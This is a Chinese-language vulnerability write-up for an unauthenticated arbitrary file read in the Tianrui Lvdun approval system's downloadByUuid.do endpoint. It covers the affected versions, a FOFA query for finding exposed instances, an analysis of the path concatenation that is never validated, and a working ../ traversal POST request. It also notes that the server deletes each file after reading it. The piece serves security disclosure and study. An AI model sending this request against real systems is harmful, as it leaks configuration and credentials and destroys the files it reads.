漏洞简介
天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,为企业提供从文件创建、流转到归档的全生命周期安全管控。
该系统的 downloadByUuid.do 接口存在任意文件读取漏洞。未经身份验证的攻击者可以通过该漏洞读取系统上的任意文件,从而可能获取数据库敏感信息或其他重要配置信息,导致数据泄露。
影响版本
可通过访问 /trwfe/exports/config.ini 获取版本信息
V3.53.240913
V7.05.240904
fofa语法
app="TIPPAY-绿盾审批系统"
漏洞分析
先看downloadByUuid.do的实现

通过调试可知String filePath = this.DISC.replace("//", "/") + uuid + fileName;值如下


其中this.DISC=D:/TRWfe/tomcat/temp/ 即一般安装目录下的tomcat下的temp目录为基础目录。
跟进fileService.downLoadFile 方法,看下fileService.downLoadFile的实现逻辑

直接将从用户端接收的 fileName 参数,拼接进 String filePath = this.DISC.replace("//", "/") + uuid + fileName;后,不经验证地用于 new FileInputStream(((DownFileMsg)files.get(0)).getFile()) 来实例化文件对象,并最终传递给 FileInputStream 进行读取,攻击者可以构造包含绝对路径或 ../ 目录遍历序列的恶意 fileName或uuid参数,读取服务器文件系统上任意位置的、具有应用运行权限可读的任何文件。
fileService.downLoadFile最终会删除读取的文件

测试时应该谨慎测试,最好自己上传一个文件来测试,避免删除了系统重要文件导致系统宕机的尴尬。
漏洞复现
漏洞测试会删除对应文件,谨慎测试
可测试tomcat根目录下的BUILDING.txt、CONTRIBUTING.md、LICENSE、NOTICE、README.md、RELEASE-NOTES以及RUNNING.txt等文件来进行验证测试。
POST /trwfe/file/downloadByUuid.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded
fileName=../../../NOTICE&uuid=x
成功读取到tomcat根目录下的NOTICE文件内容
